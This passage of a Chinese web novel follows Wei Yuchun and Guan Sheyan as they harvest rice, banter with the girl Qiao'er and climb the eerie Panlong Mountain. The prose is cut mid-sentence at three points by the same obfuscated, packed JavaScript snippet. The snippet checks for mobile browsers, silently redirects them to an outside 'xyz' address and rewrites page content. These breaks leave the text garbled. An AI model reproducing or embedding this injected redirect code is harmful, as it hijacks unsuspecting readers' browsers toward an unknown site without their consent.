他也是服了自己,好端端的,昨日采樱桃,今日割稻子,明日就得脱稻皮,一天天的,活像是把自己卖给了别人当奴隶。他情愿早日出发,杀杀人都比料理这些鸡毛蒜皮的生活舒坦。 魏郁春累得不行,见了旁人厉害,自己也是不要命地往前闯,到最后勉强收了活计,腰杆子却也差点没立得起来。 她跌坐在田野里,看着绿野在眼前飘飘荡荡若绿浪,汗水如雨下,差点以为自己真到了一片未曾莅临的世界。天色越来越明亮,亮得扎眼,她就没再往头顶看,掩了掩帽,绞着两只被镰刀的刀柄勒得发红的手,越绞越痒,就是痒了,她才能掩饰住藏在皮肉下的痛。 她第一次体验这种民生疾苦,才知道生活没有她想得那么简单。 她曾经以为,自己可以安安稳稳就这么一辈子过下去,躲避那些噩梦,她或许就可以不用担惊受怕了,唯独思念之意难捱于心。 这些心思甚至总让她感到愧疚,顶着别人女儿的身体却朝三暮四,冯家夫妇还有冯巧儿知道了一定会很难过吧? 可如今看来,她真的能坚持住吗? 一辈子就这么庸庸碌碌地过下去,陪着陌生的田野,干着陌生的农活,上山采茶以缴官税、补贴家用。她看不了朝思暮想的书卷,而手也会在日日夜夜的劳作下变形,直至写不来字。出了接二连三的事情,没人再照顾她的营生,她连墨水都买不起了。 好生可怕,这样陌生的生活,适应起来,远远没有她想象得那么简单,她为自己的天真感到后怕。 她其实总是这样思前想后,想着想着就把自己拽进了负面的深渊,短暂地探出头呼吸一口外面的空气,但脚其实一直没有真正地从里面拔开。 关阇彦收拾东西后没看到田野里的人影,以为魏郁春中了暑,倒地不起了,他还记着不久前人还在的大概方位,走近一看,果见一个孤零零的小身板子像个鹌鹑似的蹲抱着扣手指。 “想什么呢?” 可每次这种关头,这个男人十有八九就会过来耀耀存在感,像个开屏的孔雀,哦不,应该是个可以写进《山海经》的神兽——蛇头孔雀身。 但说起来,也是自从这个男人出现后,她的生活和思想才会频频发生这些翻天覆地似的变化。是危是福? 她闻言抬头,见一个身着短褐的男人插着腰,歪着脑袋,似笑非笑地看她,她在他眼中好似只是个无聊时刻可供逗弄的玩物。 “有点累。” 她说了实话。 “真巧,我也是。” 关阇彦呵呵笑两声,然后就拍拍手上还沾着的泥土,本以为就要学着魏郁春直接坐到空地上。谁知道他还特地从地上寻来几丛丢了麦穗的草,颇为讲究地垫在了屁股下。他坐在她一边,保有着分界感。 “说吧,大小姐又想什么呢?” 她奇了奇,脸色变了又变,最后落定成一个平淡中又带着微笑的表情:“你这么了解我?” “太明显了,你虽然平时也摆着那张要死不活的冷脸……”察觉错觉不准,他连忙收敛了敛,“但不至于难看,淡淡的。” “如果要区分一下你平时和有心事的模样,差不多是你和我擦肩而过的时候,扫出来的风,一个是清清淡淡的,一个却是又冷又闷的,很明显。” 当真是特别的评价。 魏郁春还挺满意,因为她其实一直自诩自己是个与世无争的女子,如风一样飘荡自如,轻松自在,实在是不错。这样的话,魏家那些她瞧不上的手段,才不会和蚊蝇一般天天骚扰得了她的心神。她这是学的母亲。 她心情好了一瞬,心中一动,忽道:“那你想不想知道我是怎么评价你的?” 关阇彦兴致被调动起来:“哦?” “嗯……”魏郁春沉吟起来,那副迷人的思考模样让对方的期待又重了一些。 结果。 “蛇头孔雀怎么样?” 关阇彦刚要牵动的嘴角一瞬扭曲了起来,他尬笑两声,眉眼间已经上了一层又一层腾然的杀气,好似丢点木屑进去,就能烧起一把雄然大火。每一个细微的举动都在提醒她,好好说话。 他可是个人人都巴不得拜服在他脚下吹马屁的传说人士,而且普通的马屁他还觉得俗气,花里胡哨的马屁又觉得掉价,漂亮又不显俗套的马屁他又嫌弃太冠冕堂皇。 左右看来,挑挑拣拣、品味刁钻、性情不定也是他的代名词,当然这些东西在他辉煌的过往和傲人的本领面前,根本不值一提。以至于那些世俗定义的贬义词,都成了形容他一生风流绝然的缀花。 蛇头孔雀,呵呵,这是个什么东西,不谈夸赞,就是骂人都比这种侮辱来得痛快。 “此话怎讲?”他得问个清楚。 魏郁春郑重其事起来:“你看你可能生得还可以,就是挺爱张扬,大事能忍,但各种小事喜欢一争高下不说,还非要抓着不放,在人前亮相,像不像孔雀,还是个喜欢开屏的孔雀。你说话伤人,脸一板正更吓人,像不像蛇头?所以是不是很像什么蛇头孔雀呢?” 她自觉有理,越说越是津津有味。 “人孔雀爱开屏多是为了求偶,而不是显摆,你这点没考究,一点都不准。我驳回。”关阇彦冷冷哼道。 求偶…… ??? 他本以为魏郁春要驳回来什么“你强词夺理”、“你见缝插针、不讲道理”什么的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447395|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,结果魏郁春却侧回了脑袋,埋着脑袋继续绞手指,耳根还有些红。 他莫名抹了一把后脖子,中午了,即便有风,呆着久了也闷汗。 他说道:“别愣着了,我饿了,要回去吃饭。请劳工也得有请劳工的样子,懂?” 他的话真是太合事宜了。因为魏郁春刚被他那引人遐思的话勾地心魂一荡,难以抑制,他一打断,她耳根的红就瞬间退了回去,像极了海水退潮。 真是毫无痕迹,她很庆幸。 魏郁春和关阇彦各自压了压背篓里的稻,二人好似谁都不饶谁,若非要对比,魏郁春仅比关阇彦少了半截手指的量。 关阇彦心中感叹,当真是拼命,他割稻时预算过背篓中能塞下的量,所以前期快速割好大部分后,就慢悠悠了起来。而魏郁春要做到这个地步可不容易,不出意外,她是从头矜矜业业割到了尾。 他叉着腰站着,盯着两筐稻,陷入了纠结。 他虽然也怕累,但……多帮她担一些其实也没什么,如果真叫魏郁春自己将这些原封不动地背回去,脊背都要被压弯得折不回来了,这姑奶奶可不能又出什么事了。 他向来不是怜香惜玉之人,所以第一反应下,定是自认这是权衡大局之法。 他想起魏郁春对他的“蛇头孔雀”的评价,虽然他没意识到自己的本性难移,但至少现在,他偏要反其道而行。 他转了一圈,故意把镰刀藏到自己的背篓里去,然后喊住魏郁春:“喂,帮个忙?” 魏郁春莫名看着他:“怎么了?” “我镰刀好像丢那儿了,你帮我找找?”他信手指了个方向,好像还有点距离。 魏郁春眯着眼探过去,更莫名了:“你个大男人好手好脚的,干嘛不自己去?” 他才懒得解释,选择佯装提篓要走:“哦,那算了,走吧。” 魏郁春绝望地闭了眼,家中镰刀统共就两把,丢了一把,还得多出钱买。 她也不是饶人的家伙,转转眼珠,知道如果没有实质性的利害关系作纽带,她是逼不了这厮做他没兴趣的事情的。她旋即一瞪他:“丢了镰刀,中午少吃一碗饭!” 出乎意料,关阇彦不为所动,好似已经铁了心。他心中不屑道:“不过是一碗饭,真是小看了我的决心,让你说我是蛇头孔雀!” 魏郁春长叹一口气,真出去寻了。 这个关头,关阇彦则翻动了动对方篓中的稻禾,直接从中间掏走了一大捧塞到了自己的篓里,然后巧妙性地拿覆盖在最上头的稻禾掩了掩,装作无事发生。 刚刚掏走的那部分很有重量,魏郁春那头应该不会太吃力了。 他乜了乜眼,什么叫做事爱显摆?那么这次,他就故意掩着不告诉她。当真是一身反骨。 魏郁春在绿黄相间的海洋里翻来覆去,愁眉苦脸,愣是一个铁片影子都没觅到。 “别找了,我应该是记错了,刚刚找了边上找着了!” 关阇彦扬了扬眉,意气风发,像是刚打了什么胜仗一样。他朝着魏郁春那头悠哉游哉地挥着手。 魏郁春闻讯赶回来,松了一口气的同时,眼睛瞪得更狠了。 “对了,通知你一件事,中午的饭我得照吃。” 她觉得不可理喻,说道:“凭什么?” “凭我找到了镰刀啊?”他嘴角的笑意愈发张扬肆意,“你自己说的,镰刀没了,午饭少一碗饭啊?这不,找到了,没丢呢。” 他既掰回一局,还没少一碗饭,绝对是双赢。 “你好生不要脸。” 魏郁春真是要被气笑了,那种无力感,真是任天任地都打不破的。 他们背着背篓一起离去,一路上,魏郁春像个时时刻刻就要喷火的小火人,一个脚印下去,都得担心她会不会在路上留火烙印。 然而关阇彦却还是心情自在,因为他知道自己不会理亏。 他还有闲心问她:“哦对了,你还没跟我说你刚想什么心事呢?” 53. 孤注一掷 魏郁春闻言只是摇摇头:“说了你也不明白。” 她将被背篓压低些的脊背挺直,抬眼间便又是无穷天地,天地之大,总会有她的容身之地的吧?现在的困难是必然,若是跨过,说不能就是柳暗花明又一村了。 可……这次还是她在天真吗? 她的注意力其实被关阇彦那些欠揍的言论引走了大半,那人有魔力,即便不是安慰的话,听了恼火归恼火,却不会继续忧心忡忡,这便是被他不顾别人死活的自信感染了吧。 既然如此,她就根本没必要继续自怨自艾下去,把那些心事当作陈年老账一般翻来覆去地看,没意义。所以,她不是因为生气不想跟关阇彦说,而是她暂时放下了,不需要说了。 回了家,冯家夫妇特地准备了比往日要丰盛地多的餐食,有刚烙好没多久的玉米烙,堆了一大盆,生怕女儿后天出发不够吃。除此之外,还蒸了一大盘的饭,把院子里长的唯二两根茄子炒了。 巧儿眼睛发光,趴在桌子上,虎视眈眈地盯着一大桌丰盛的饭菜,口水都不知道揩了几次。冯母抱来刚用清水冲过一遍的碗筷,见巧儿暗戳戳拿着手指去够烙饼,一个爆栗弹出去:“没规矩的小馋猫,你姐姐那么辛苦,得等她回来了才能吃。” 巧儿闻言,怯怯地应了。 谁知话音方落,她就看到了不远处往回走的一男一女,乐呵呵唤冯家夫妇:“爹娘!姐姐还有贤妻回来了!” 冯家夫妇笑逐颜开,忙去迎,结果发现自己腿脚不利索去了也是帮倒忙,索性沉下心来,帮人盛饭了。关阇彦和魏郁春放下背篓后就来吃饭了,一桌子好饭好菜,色香味俱全,有没有荤菜到成了可有可无的问题。 和昨晚和早上一样,巧儿的眼神总是时不时地往关阇彦身上瞟,先前还稍微知道点掩饰,被别人的眼神攥住了,她就忙低头装作无事发生,等人眼神走开,她就自以为风平浪静,要出来再躁动一下,那小眼神,一飞一飞的,感觉很有当小贼的天赋。 现在,她估摸不打算当小贼了,直接当上了强盗。 我想看就看,你发没发现,和我没关系。就是这样理直气壮的性子。 好端端的一顿饭,关阇彦依旧食不知味,也是这时候,他才下定决心逮她问问,要不然接下来几顿饭,不,应当是接下来这两天,他是没法好好过了。 下午,冯父冯母主动包揽了洗碗的活儿,魏郁春精疲力竭,好似走两步就犯困,自然抢不过只是下半身不利索的夫妇二人。她就这样被爹娘赶进了屋子睡觉去了。 当然,他们也忘记叫上关阇彦:“贤齐啊,你也去困会儿吧,听说你病还没痊愈,别太累了。” 其实还好,他不怎么困,因为有时候为了完成上头的任务抑或是出门征战,时不时就有三天三夜都睡不了好觉的日子。今儿这种程度的累对他来说,缓缓就过去了,几乎没啥影响。 巧儿立在不远处,抱着支撑草棚的柱子,眼巴巴地盯着他。 他扶额苦笑,小屁孩儿果然是世上最难应付的家伙。 他略微一勾手指,趁着魏郁春不在,让这丫头和自己好好聊聊。冯巧儿也是个真性情,敢做敢当,当然,是在姐姐不在的时候才敢放肆。 就这样,一大一小二人钻进了房间,一进去,关阇彦还没开口,这小丫头就叽叽喳喳个不停。 “嘿,你是不是很喜欢我姐姐?我问过我爹娘,他们什么都不说,憋死我了,我姐姐嘛,更不提了。我看你们很久了,我姐姐好像不喜欢你,也快急死我了!” “你和我姐姐出去都干嘛了?!真的是私会吗!你时不时很想当我姐夫,我可以帮你!” “但你别误会,我姐姐很好,喜欢她的人很多很多,并不是只有你一个人选。我只是看你还可以,所以才打算帮帮你的,怎么样,是不是很感动!” 八岁的小家伙,竟懂这些,话里行间,还时不时显摆一下她那对儿女私情颇有建树的“学识”。 关阇彦闻言,恨不得当场喷出几口老血,呛死自己都比继续听这些没羞没臊、毫无根据的胡话好。问题是,面对小丫头一字不带停的三寸不烂之舌,他的獠牙毒话偏偏插不进去,发挥不了一点作用。 他这辈子没想到,自己这方面会输在一个牙都没长齐的丫头片子手里。 焉知这是不是一种山外有山、人外有人的体现呢? 他毫不客气地对着巧儿的额头弹了一下,功力之深厚,声音格外清脆,不拖泥带水一点,但分寸又掌握得很好,弹出去的额头顶多红痛一会,不会肿更不会发青。 巧儿吃痛,又不敢出大声,怕被家人发现。 “谁喜欢你姐姐了,小小年纪说起来话,信口就来?”他不屑地歪着头,弯身嗤笑,一手插腰,理直气壮。 巧儿解释:“你刚来的时候就说病好了就走,然后我姐姐后来说你差不多三天就能离去,后来好像又不走了,我问姐姐,她就含含糊糊地说,你要还债所以不走。” 还债?嚯,是这个理,但更倾向于是帮忙好吧?不是更倾向,是完完全全的帮忙,他之前帮她摆平那些黑衣人就已经很良心了,后续这些……一半自愿一般被迫吧。不过经历过陆子礼的事后,他才和魏郁春彻底地站在了一条线上。 魏郁春完完全全是懒得解释,直接按照冯巧儿脑子里对他的印象,随便编造了个理由,还债——还治病的钱。罢了,这也的确省事,否则被这丫头知道了太多,保不齐要闹出哪些事。 他用这种帮人“自圆其说”的方式,很快理解了魏郁春。 眼看巧儿嘴巴噗噗叭叭的,话还没完,关阇彦大大方方地给她做了个请的动作,道:“哦?继续继续。” 巧儿一惊,她觉得男子喜欢一个女孩儿,被人当面说出来肯定是害羞的呀。 她观察关阇彦这么久,发现他除了刚开始的惊怒外,就只有平静,还有现在这种一副看好戏的样子。 她眨巴眨巴眼:“所以你真的不喜欢我姐姐吗?” 关阇彦呵呵一笑,更理所当然了:“昂,不喜欢。” 他其实思考都没思考一下,因为他自认为不会喜欢任何女子,所以怎么可能喜欢魏郁春?他是太闲了,自己给自己找气受吗? 冯巧儿多半信了,态度来了个一百八十度大转弯:“不行,你得喜欢!” 关阇彦嘴角的笑变得促狭起来:“这就是你的不对了,喜不喜欢得我说了算。” “而且,我看你刚刚说我说得怪勉强的,知道我配不上你姐姐呢,现在怎么突然这样?”他心里预感到巧儿其实很满意自己,之所有没明摆着说,是因为他是故意套冯巧儿的话,多半又准备显摆了。 果然,冯巧儿变得局促起来:“嗯……啊……” “不说实话我明日就走?” “哎呀别!我在想,你是不是还完我家的钱就要走了,但如果你走了的话,村里人还有那些流氓肯定会回来欺负我姐姐。我知道村里出了很多大事,不明白为什么他们要诬陷我姐姐,我姐姐怎么可能杀人!我听爹娘说了,这次多亏了你,那些村人没敢伤害我家,你是我们家最强壮的,然后凶狠起来脸是最吓人的,很能唬人。如果你以后不走了,我姐姐肯定也一直不会被欺负了!” 小丫头很是认真,认真到关阇彦都不好意思嬉皮笑脸了,他收敛神色,变得肃正起来,颇为靠谱。 他无奈摇摇头道:“你年纪还小,不懂这些,不是说因为我对你姐姐有用,我就应该喜欢她,理所当然地留在这里,有点自私了。而且你可别小看你姐姐,她是个狠角色,怎么会随便让人欺负?” 言外之意,他总有一天要走的。 巧儿眼圈红了,抓着他的手:“不是的,你走了大家也都会舍不得的。” 话题突然沉重,关阇彦微微弯下腰,摸摸她毛茸茸的发顶以作安慰,也是怕她忍不住哭出声。 巧儿一噎一噎地说:“不只是我,我姐姐其实也会的。” “你姐姐?”关阇彦这次是真的奇了。 巧儿一股脑地全说了出来:“之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447396|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前你白天出去,到了傍晚一直都没见到人影。我姐姐午后还一直坐在院子棚下,留了饭菜,我想她也是会舍不得你走的。” 哦,原来是他前去集时找老书生麻烦的事情。那时他回来,饿得半死,怎么都没想到魏郁春会给他留饭,不过当时看她那副云淡风轻又理所当然的模样,他一直没在意,只觉得这是人家的随手之举。 然而,听冯巧儿这么一说,感觉好像一下子就变了。 看来这冯迎春就是个刀子嘴豆腐心嘛,明明心里还是在意他的。他在心里想着。 当然这巧儿心思敏捷得过头,所以判断也会错误,为达目的,还会说些很主观的话,典型的孩子心性。所以到底谁说得对、谁说得不对,在此时,没那么重要。 重要的是,他心中诧异了,有些回味无穷,但是也仅是如此,他得先解决掉冯巧儿的情绪问题。 于是扶额苦笑:“那行吧,我考虑考虑,你别操心了,以后更不要有事没事就盯着我不放。” 他虽是松口,但态度算敷衍,明显是为了打发冯巧儿。 但巧儿是辨别不出来一个人的真心与否的,很快就抹了泪,高兴了起来:“没问题!” 言罢,巧儿出门而去,步子蹦蹦哒哒,像是有什么无形的阶梯横在面前一样,这下她是真的被冯家夫妇看到了,被人训斥:“冯巧儿你慢点!摔着了怎么办!” 关阇彦则默默将门关好,抱着胸,敷衍的笑意全无,有意无意地摇了摇头,叹了一口气。 他的脑中还在反复出现冯巧儿说的那些话,甚至开始臆想起,魏郁春那日午后无声等待他的模样,挥之不去,还有些幸灾乐祸。 但很快他就意识到了自己的不对劲,赶紧将翩翩浮想打飞,冷笑一声,他关阇彦这辈子能真心喜欢上什么人? 他这一生早被虎视眈眈的人强行定了形,若真喜欢了谁,那不是害人么? 他记着自己父亲犯下的过错,所以,他一定不会重蹈这样的覆辙。 好了,多操心这些做什么,他的的确确不懂什么情情爱爱,也确定魏郁春应该对他没那种意思,所以,他没必要在乎这些。 下午,魏郁春起来后,就开始捣鼓稻米,稻米在阳光下又晒了一阵子,加上中午的时间,合计有了大半天。将稻米分开来后,就尝试碾壳,工具不顺手,力气不够大,吃力无比,一家人坐在一起帮忙。 关阇彦当然也没闲着,基本上是跟魏郁春换着来做。 巧儿呢,的确听了他的话,没有再将那鬼里鬼气的眼神抛来抛去。她和家人们坐在一起,其实帮不上什么忙,但喜欢混在里头浑水摸鱼。 这样的工程一直持续到第二天傍晚,从傍晚到入夜,煮米、捞米、摊干粥,忙活了几个时辰,好歹都做好了,并且不算太晚。 冯家人帮忙把两个人的包袱都收拾好,担心他们路上没有水喝,还特地去邻里借了两只水袋,加上家里的一共四只,两只满上了冷茶,还有两只则满上了二人各自要服用的药汤,早早安在行李中,陪同其的自然是一包的玉米烙、一包的干粥饼还有一包樱桃脯。 这么多吃食,除了水有些勉强外,其他的撑个四五日都没问题了,唯一的烦恼就是有点重,但有关阇彦在,这个问题都好说。 接下来魏郁春又取出了自己所有的存钱,当作盘缠用,扣扣嗖嗖一些,来回一趟盘龙山应该没问题。 一个月的时间就要出结果,而盘龙山谜团很多,皆与古溪村黑衣人相关。 她既找不到其他出路,就只好在此孤注一掷。 当夜,月色高升,魏郁春明知道第二天早上要很早出发,但总是惴惴不安,睡不着觉,闲着也是闲着,就把陆子礼给她的那两张留有秘术文字的纸张拿出来看。 虽然大晚上看这些显得阴森,但多看几遍也就熟悉了。 她总觉得,若是不赶快记下这些东西,就更难以应付那些始料未及的事情。而她的也会一直踏实不下去——也不知迷云包绕的盘龙山究竟是何样的地方。 54. 随心所欲 翌日清晨,魏郁春迷迷糊糊,若不是关阇彦在外面唤她,她定是无法醒来的。 她盯着疲惫的神态,用惺忪的睡眼吊住一大团眼底下的黑影,活似被磨平了五官的皮影人,唯有镂空的地方显得有光泽,比如眼睛。 关阇彦一见她也惊了:“你昨晚做贼去了?” 她无精打采地摇了摇头,显然没有精力应付他的玩笑话。她的屋子昨日刚被修好,所以昨晚并没有和爹娘和巧儿一起睡,醒来的时候,其他人还在睡梦中。她轻轻地撩开屋子间隔挡的帘子,不过一点点声响,床上的冯家夫妇就睁了眼。原来仍在睡梦中的只有贪睡的小孩子冯巧儿。 冯父冯母很舍不得,分明知道女儿要走了,却忍不住要把她劝住,但这是不可能的。 她一旦决定要去做什么,任何人都拦不住。 末了,只好哽塞着道:“春儿,在外面要照顾自己,不要贪图爽快就不好好穿衣服,早晚温差大着呢,还有多吃点,不要舍不得,回来了家里还会做……” 魏郁春感触颇深,她迷糊的精神因此清醒了不少。 她乖巧点头:“嗯,爹娘你们放心吧。我不在的这几天,你们一定要记得吃药,我帮你们补了不少草药,都在屋子里,别忘记。还有巧儿,一定要照顾好,不要让她出去乱跑。” 冯父冯母呜咽呜咽地应了。 “爹娘,我和关贤齐要出去拦车了,不然就赶不上了。”她知道时辰差不多了,离别的苦难只能暂时搁置。 离去了冯家,她和关阇彦一人一两个包袱,走在蜿蜒行的山路上,望着远处晨曦方起,鼻息间是熟悉的茶雾,身影在湿气氤氲间慢慢隐去,而其中的坚毅与决绝却好似永远留在人的目光中,永远不会消失。 又是犊车之行,盘龙山应是在北部又极靠东的地方,比一般偏僻的地方还要偏僻,独具离奇之美。 路过的车夫不可能顺路去盘龙山,应是停到往北方向的一处镇子。他们在镇子上短暂歇脚整修,然后继续寻着往北的路走,一路又一路,山水之程交加反复。 至于到最后的盘龙山地界,他们只好依靠人们的指引,徒步而去,此山鲜有人行,没有特地去此的行车。 这个过程进行下去,还没有到最后一步就已经消耗了他们整整一日的时间,从白天到黑夜,他们只是到达了距离盘龙山最近的一只镇子。 跨过镇子还有零星的偏村,之后才会看到群山隆起,一只山头鹤立鸡群,恶云缭绕,好似一只口吐雾气的大龙盘着山大霸一方,有气吞山河之态。 众人为其取名“盘龙山”,渊源正在于此。 天色已经很晚了,他们只好暂时寻一个落脚点,断不可冒着深夜视野受限的风险去走更险峻的山路,他们在这个名叫做“麓镇”,实际也当真是处在众山脚下的镇子留步。这边没有禺山镇富有,但一张客栈的通铺少则也要五六文以上,住不起。 所以,他们寻了一个无人居住的陋屋,打了地铺,躺下去抬眸上望,没有屋顶的残垣断壁之上,是缀满万千星子的天穹星河,如此遥远无边,引人遐思。 连续好几日都是晴夜,天气也是一如既往地湿热,没有梅雨前那要命的闷热感觉了,估摸接下来几天也不会遇到那样糟糕的天气了。拜此所赐,他们可以随便找一个无人在意的地方装作路过的乞丐暂留于此,再不需为了躲雨而去找臭气熏天的溷厕委屈自己了。 关阇彦枕着胳膊望着漫天星河,野风从断壁处所漏近来,没被束住的几缕散发在额前肆意飘荡,竟有些惬意。反正睡不着,不如说些自己感兴趣的东西吧。 他微微侧过身子,看到魏郁春避嫌时故意背过去的背影,他轻嗤一声:“冯迎春,我去集市的那天,你中午等我吃饭了没有?” 魏郁春一愣,在他看不到的地方睁开眸子,眼中霎时闪过仓皇和惊讶,他怎么突然问这件事? 她耳根子又发烫了起来,幸好天黑,她不掩藏,别人也是不可能看得到她的局促和赧然的。 她旋即斩钉截铁地道:“当然没有!” “哦。” 他好像猜到了她会这样,换做其他情况,他可能会当真信了她的话,但现在,她说了什么,真正的答案反而是对立面的内容。 他其实是无聊极了,又习惯性捉弄魏郁春这只闷葫芦,所以才会突然来这一遭。但这对于他来说无足轻重的举动,却又让魏郁春心起了不少波澜。 他能不能不要再随随便便撩拨人?这是不对的! 她得阻止此人再和自己说话,当即把眼睛闭紧,又斩钉截铁道:“我睡了,别吵我了。” “行。”关阇彦也松口。 又是天明,他们被鸡鸣唤醒,继续踏上北上的征程。 山群变得越来越显眼,气息也从清秀的茶雾之气渐渐往冷地强肺的寒风之气演化,一丝丝顺着海风鼓入山雾的咸腥味,让他们二人一时难以适应,每每呼吸一口气,都像是有针扎了几下喉咙和肺腑。 怪不得大家都不想来这个地界,不谈地势如何险峻了,便是空气都融不下人。 魏郁春和关阇彦二人此时抬头上望,对盘龙山的印象好似立马被推翻,这座山太高了,极目远眺,唯有半山腰的云雾入眼,而在那之上,还不知到底有多高的山体。这盘龙山就已如此,传说中的酆都罗山该有多恐怖,还是说,这座足够骇人的盘龙山,就是被夸大后的酆都罗山神话原型呢? “小心点,这里的路很难走。” 关阇彦试探地往高坡处走,结果从上而下喷薄的云雾总是干扰视野,他差点没看到脚边一只水渠样的深沟,沟中无水,却长满了苔藓,一旦踩到,必然滑倒。 魏郁春紧紧跟走后面,这种时候她显然没必要再和关阇彦犟什么,她体力远不如他,自然得靠他引路。但口头上提醒是一桩事,落实到脚下却是另外一桩事。 她还是差点没踩稳脚步,歪倒的那一瞬,她的手腕却被关阇彦牢牢抓住。 “哎,你还是跟我身边吧。” 他双眉拧着,有些无奈,但却没有不耐烦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447397|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪在里头。 魏郁春盯了自己被他牢牢环绕住的手腕,肌肤之亲……不,他只是帮自己罢了。好吧,她承认其实有时候不是别人有意撩拨她,她现在已经会忍不住放大别人的动作,脑子里构建出只属于自己的怪异念头。 她不能这样了,他都能随心所欲了,她干嘛也不能恣意一点? 老揣测别人的举动显得她也太卑微了。他能握自己的手,就等于,她也该握回去。 她想罢,没第一时间想着抽走手,反而是反手一把抓住了关阇彦的手腕,直接借力,让自己爬了上去,站在了男人的身侧。 这个举动绝对是出乎意料了,关阇彦的眸子都瞪大了几分。 最后,男人慨叹了一句:“好样的。” 当然好像不是很褒义的感觉。 临近午时,他们攀爬许久,除了缭绕云雾,便只有塞满视野的绿野高树,这里面的绿沉重得不大现实,本该生机腾然,却不知怎么回事,只让人觉得森然可怖,此地的确如陆子礼所言,多是昆虫绿野,别的动物到现在都没瞥到。真是绿得死气沉沉。 二人找到一只巨大的深褐色石头,坐上去拿出包裹里的吃食充饥,魏郁春瞥眸间,才发现深褐色石头坑坑洼洼的顶部根本不是堆积的泥土抑或是某种苔藓。 因为有些细微的触角似的短小线条七上八下地堆叠在一起,还时不时蠕动跳跃。 她弯腰细细打量,才发现这些泥土似的东西,竟是一大堆虫子的尸体,尸体堆积成的“厚土”之上,还有一层仍在你争我斗的活虫,它们踩着同伴的尸体,激烈相斗。说起让她感到生理性厌恶的东西,在虫子面前,各式各样的粪屎都黯然失色了。 她尖呼一声,身侧若无其事啃饼的关阇彦,被她吓得震掉了大半饼。 “这里都是虫子,”她仍心有余悸,从石头上下来,捏着袖子颤抖着手去拍打衣物,“它们……都在自相残杀。” 关阇彦移眸,看到的刚好是魏郁春坐在石头上时,在虫骸上压出的扁形,足足被压下去快有半截指关节的深度。他若无其事的表情瞬间凝固了,因为眼前这副景象实在是诡异。 他怎么都没想到平平无奇的褐色灰土竟是一堆虫子尸体堆叠成的尸海。 “其实,我从入山后就一直感到奇怪,为什么这里除了虫子外,任何生灵的影子都没有?” 魏郁春道:“这座山有古怪。我从未见过虫子这般互相厮杀的景象。” “冯迎春,你有没有觉得……头好像有点晕?”关阇彦不知道是不是心理作用,所以还是决定开口问问人。 魏郁春闻言一悚,她在方才刚坐下没多久的时候,就感到一阵头晕目眩,时不时的,差点让她直接把吃下肚的吃食都反呕出去。 但这种不适感,在她入山前嗅到不适应的腥海之气时就有了,出现的时候全凭随机。 她本以为这只是她自己的生理性排斥,没想着招摇出去,显得大题小做。 她怎么都没想到,关阇彦也会和她一样。 55. 怪石文墩(1) “我也如此,到底是怎么回事?” 魏郁春心已乱,因为,她正处于未知之中,面对一触即发的危险,她却只能眼睁睁等待它们的到来。这种兵在其颈的感觉,很窒息。 “陆子礼先前从未和我们说过,此山还有迷乱人神智的危险,他应该不会骗我们,这到底是怎么回事,是我们来的方法不对吗?”她快速分析道。 便是关阇彦这样心思极其缜密的人,对于陆子礼的为人也没有异议,这足够说明了一个问题——他们来山的确少注意到了不少东西。 “等等,”魏郁春又想到了什么,“可能陆子礼也被此山的迷雾迷惑过,只是他自己没有意识到。” “他两个月前见到文石墩时,正是因为失足滚落山崖,不知在何地找到了那只墩子。他来此山多次,经验很足,怎么会突然犯下落崖这样基础的错?” 关阇彦颔首,他将水袋里的水倒了一些在自己的掌心,一把拍到脸上,清凉无比,神智却是清醒了不少。 他理智分析:“那他既然很熟悉盘龙山,为什么只是在最后那一次中了迷幻?先前他没有失足过,难道也意识不到自己头脑会变得不清醒吗?他可是大夫。” “怪我们从未来过此地,不懂其中玄妙,又因为秘术一事,我们就都把注意力放在了两个月前陆子礼坠崖一事上。不管是我们还是陆子礼他本人,都忽视了这里面的奇怪之处。” 魏郁春扶额惋惜,也是切身体悟到了何为“眼见为实,耳听为虚”了。 “若是问清楚陆子礼过往来山的经历,也许就能弄明白这一切是怎么回事了。”关阇彦应她。 “如今看来,也就只能这样解释了,”关阇彦眯了眯眼,朝被林雾遮挡的上空看了看,“陆子礼先前若是没有被迷幻,走的路应该和他后来中幻的路不一样。至于我们这会儿走的,可能和陆子礼中幻时走的不同,也可能和他走的任何一条都不一样。” “希望是和他中幻时走的一样,这样我们就能更快遇到那块文石墩。”魏郁春诚恳道。 “注意一些吧,我们毕竟是凡人之躯,斗不过一整座山,若是真中了幻,可能会和陆子礼一样,落到陌生的地方,连方位都辨不清。” 谈及此处,关阇彦的神色重了好几抹。 “我们出发的时候约莫晨时,一路走来不下两三个时辰了,路过的村人也说过这段路估摸需要两个多时辰,”魏郁春想来现在应该是巳时末左右,身体饥饿的反应也能说明这一点。 